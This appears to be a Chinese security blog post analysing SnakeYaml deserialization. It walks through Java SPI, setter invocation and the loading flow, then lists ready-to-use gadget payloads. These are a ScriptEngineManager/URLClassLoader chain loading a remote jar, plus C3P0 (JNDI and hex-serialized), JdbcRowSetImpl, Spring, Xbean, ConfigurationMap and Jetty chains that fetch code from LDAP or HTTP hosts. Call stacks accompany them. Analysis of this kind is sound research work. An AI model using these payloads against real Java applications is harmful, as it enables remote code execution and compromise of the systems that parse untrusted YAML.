SnakeYaml反序列化分析
前言
SnakeYaml是Java中解析yaml的库，而yaml是一种人类可读的数据序列化语言，通常用于编写配置文件等。yaml真是到哪都有啊。
环境搭建
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.32</version>
</dependency>
SPI机制
介绍
SPI机制就是，服务端提供接口类和寻找服务的功能，客户端用户这边根据服务端提供的接口类来定义具体的实现类，然后服务端会在加载该实现类的时候去寻找该服务即META-INF/services/目录里的配置文件中指定的类。这就是SPI和传统的API的区别，API是服务端自己提供接口类并自己实现相应的类供客户端进行调用，而SPI则是提供接口类和服务寻找功能、具体的实现类由客户端实现并调用。
例子
准备一个接口
package com.ctf.Impl;
public interface Shopping {
String buyMask();
}
准备两个实现类
package com.ctf;
import com.ctf.Impl.Shopping;
public class BuyN95 implements Shopping {
@Override
public String buyMask() {
return "Buy N95";
}
}
package com.ctf;
import com.ctf.Impl.Shopping;
public class BuyNormal implements Shopping {
@Override
public String buyMask() {
return "Buy Normal";
}
}
在resources目录下新建目录META-INF/services，在services目录下建一个配置文件，配置文件名为接口类的路径+名称，比如我的就是com.ctf.Impl.Shopping，写入两个实现类路径
然后把项目打包成jar包，File >> Project Structure >> Artifacts >> + >> JAR >> From modules with dependencies，记得选择把META-INF添加，Build Artifacts
out目录下有jar包，这时新建一个项目，把生成的jar包作为依赖导入
我们可以把上面生成的jar包理解为客户端用户根据SPI接口自己定义了一套实现并打包成jar，然后下面写入的测试代码，就是服务端的代码，服务端引入了jar包和其中的META-INF/services下的配置文件，通过ServiceLoader.load执行了相关操作。
Setter
准备一个POJO
package com.ctf.POJO;
public class User {
String name;
int age;
public User() {
System.out.println("User构造函数");
}
public String getName() {
System.out.println("User.getName");
return name;
}
public void setName(String name) {
System.out.println("User.setName");
this.name = name;
}
public int getAge() {
System.out.println("User.getAge");
return age;
}
public void setAge(int age) {
System.out.println("User.setAge");
this.age = age;
}
}
序列化流程
package com.ctf;
import com.ctf.POJO.User;
import org.yaml.snakeyaml.Yaml;
public class SetterPoc {
public static void main(String[] args) {
User user = new User();
user.setName("F12");
user.setAge(20);
String str = serialize(user);
System.out.println(str);
}
public static String serialize(Object obj){
Yaml yaml = new Yaml();
return yaml.dump(obj);
}
public static String unserialize(String str){
Yaml yaml = new Yaml();
return yaml.load(str);
}
}
getter和setter都调用了
反序列化流程
package com.ctf;
import com.ctf.POJO.User;
import org.yaml.snakeyaml.Yaml;
public class SetterPoc {
public static void main(String[] args) {
User user = new User();
user.setName("F12");
user.setAge(20);
// String str = serialize(user);
// System.out.println(str);
unserialize("!!com.ctf.POJO.User {age: 20, name: F12}");
}
public static String serialize(Object obj){
Yaml yaml = new Yaml();
return yaml.dump(obj);
}
public static String unserialize(String str){
Yaml yaml = new Yaml();
return yaml.load(str);
}
}
只调用了setter
SnakeYaml反序列化漏洞
影响版本：1.33以下的全版本
攻击测试
github有个写好的SPI：https://github.com/artsploit/yaml-payload/tree/master，打包成jar包就行
package com.ctf;
import org.yaml.snakeyaml.Yaml;
public class POC {
public static void main(String[] args) {
String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://localhost:8000/yaml-payload.jar\"]]]]";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}
流程分析
load处打断点，跟进
跟进loadFromReader
跟进getSingleData
这里对tag进行了修改，变为一种yaml规范的格式，这个是个重点，先记住，跟进constructDocument方法
跟进constructObject方法
跟进check
可以看出是要准备实例化了，进入constructor.construct
继续跟进construct，代码有点多，看重点代码
for (Node argumentNode : snode.getValue()) {
Class<?> type = c.getParameterTypes()[index];
// set runtime classes for arguments
argumentNode.setType(type);
argumentList[index++] = constructObject(argumentNode);
}
这里value有一个嵌套，他会一层层的往里去实例化，最后分别作为各自的参数，比如UrlClassLoader是ScriptEngine的参数，Url是UrlCLassLoader的参数。然后实例化的顺序是从URL->URLCLASSLOADER->ScriptEngine顺序去实例化的
最后会实例化
因为有个迭代，迭代完才能到这里实例化，所以我们直接在ScriptEngineManage的实例化方法给断点
跟进init方法
跟进initEngines方法
这里调用ServiceLoader
这里就会去加载用户自定义的实现类，也就会触发我们写的恶意类
男男搭配，干活不累
干活不累，但是调试很累，所以师傅们自己调试吧，就不写上面了
SnakeYaml+C3P0
之前研究过C3P0，有两条链，不出网的是HEX，出网的是JNDI，放payload
JNDI（对应setJndiName）
!!com.mchange.v2.c3p0.JndiRefForwardingDataSource
jndiName: "ldap://localhost:1099/Exploit"
loginTimeout: 0
HEX（对应实例化方法）
!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
userOverridesAsString: "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383030302f740003466f6f;"
SnakeYaml+JdbcRowSetImpl
!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: "ldap://localhost:1389/Exploit"
autoCommit: true
SnakeYaml+PropertyPathFactoryBean
!!org.springframework.beans.factory.config.PropertyPathFactoryBean
targetBeanName: "ldap://localhost:1389/Exploit"
propertyPath: mi1k7ea
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources: ["ldap://localhost:1389/Exploit"]
调用栈
lookup:92, JndiLocatorSupport (org.springframework.jndi)
doGetSingleton:220, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:113, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:106, SimpleJndiBeanFactory (org.springframework.jndi.support)
setBeanFactory:196, PropertyPathFactoryBean (org.springframework.beans.factory.config)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
set:77, MethodProperty (org.yaml.snakeyaml.introspector)
constructJavaBean2ndStep:263, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:149, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:525, Yaml (org.yaml.snakeyaml)
load:453, Yaml (org.yaml.snakeyaml)
SnakeYaml+DefaultBeanFactoryPointcutAdvisor
!!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
adviceBeanName: "ldap://localhost:1389/Exploit"
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources: ["ldap://localhost:1389/Exploit"]
SnakeYaml+Xbean
!!javax.management.BadAttributeValueExpException[!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding ["foo",!!javax.naming.Reference [foo, "Exploit", "http://localhost:8000/"],!!org.apache.xbean.naming.context.WritableContext []]]
这个使用BadAttibute的构造方法触发Xbean的toString
SnakeYaml+ConfigurationMap
!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], "ldap://127.0.0.1:9999/Evil"]]
调用栈：
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
getBaseContext:452, JNDIConfiguration (org.apache.commons.configuration)
getKeys:203, JNDIConfiguration (org.apache.commons.configuration)
getKeys:182, JNDIConfiguration (org.apache.commons.configuration)
<init>:161, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
<init>:154, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
iterator:207, ConfigurationMap$ConfigurationSet (org.apache.commons.configuration)
hashCode:528, AbstractMap (java.util)
constructMapping2ndStep:366, BaseConstructor (org.yaml.snakeyaml.constructor)
constructMapping2ndStep:147, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping:354, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:489, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor)
constructObject:182, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:141, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:127, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:450, Yaml (org.yaml.snakeyaml)
load:369, Yaml (org.yaml.snakeyaml)
SnakeYaml+Jetty
[!!org.eclipse.jetty.plus.jndi.Resource ["__/obj", !!javax.naming.Reference ["foo", "Exploit", "http://localhost:8000/"]], !!org.eclipse.jetty.plus.jndi.Resource ["obj/test", !!java.lang.Object []]]
<init>:2, Exploit
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
lookup:503, NamingContext (org.eclipse.jetty.jndi)
lookup:578, NamingContext (org.eclipse.jetty.jndi)
bind:69, NamingUtil (org.eclipse.jetty.jndi)
save:202, NamingEntry (org.eclipse.jetty.plus.jndi)
<init>:39, Resource (org.eclipse.jetty.plus.jndi)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
construct:548, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructSequenceStep2:376, BaseConstructor (org.yaml.snakeyaml.constructor)
constructSequence:360, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:499, SafeConstructor$ConstructYamlSeq (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:525, Yaml (org.yaml.snakeyaml)
load:453, Yaml (org.yaml.snakeyaml)
